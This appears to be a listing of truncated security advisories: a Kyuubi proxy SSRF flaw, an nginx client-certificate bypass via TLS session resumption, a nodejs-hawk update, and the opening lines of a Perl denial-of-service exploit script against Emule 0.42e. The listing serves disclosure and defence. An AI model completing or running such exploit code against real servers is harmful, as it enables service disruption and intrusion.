CVE-2026-23904: Improper Restriction of Communication Channel to Intended Endpoints

Kyuubi Engine UI proxy accepts a host and port from the request path and proxies HTTP requests to that destination. A remote requester with network access to the proxy can cause the Kyuubi server to send HTTP requests to arbitrary reachable hosts, resulting in SSRF or open-proxy behavior. This...

Medium: nginx

Issue Overview: When multiple server blocks are configured to share the same IP address and port, an attacker can use session resumption to bypass client certificate authentication requirements on these servers. This vulnerability arises when TLS Session Tickets...

OESA-2022-1667 nodejs-hawk security update

Hawk is an HTTP authentication scheme using a message authentication code MAC algorithm to provide partial HTTP request cryptographic verification. Security Fixes: Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic...

Emule 0.42e - Remote Denial of Service

Emule 0.42e - Remote Denial of Service !/usr/bin/perl system"cls"; Emule 0.42e Remote Denial Of Service Exploit Coded by Rafel Ivgi, The-Insider usage: perl emule042e.pl use IO::Socket; my $host = $ARGV0; my $port = $ARGV1; my $times = $ARGV2; if $host unless$port $port="4711"; unless$times...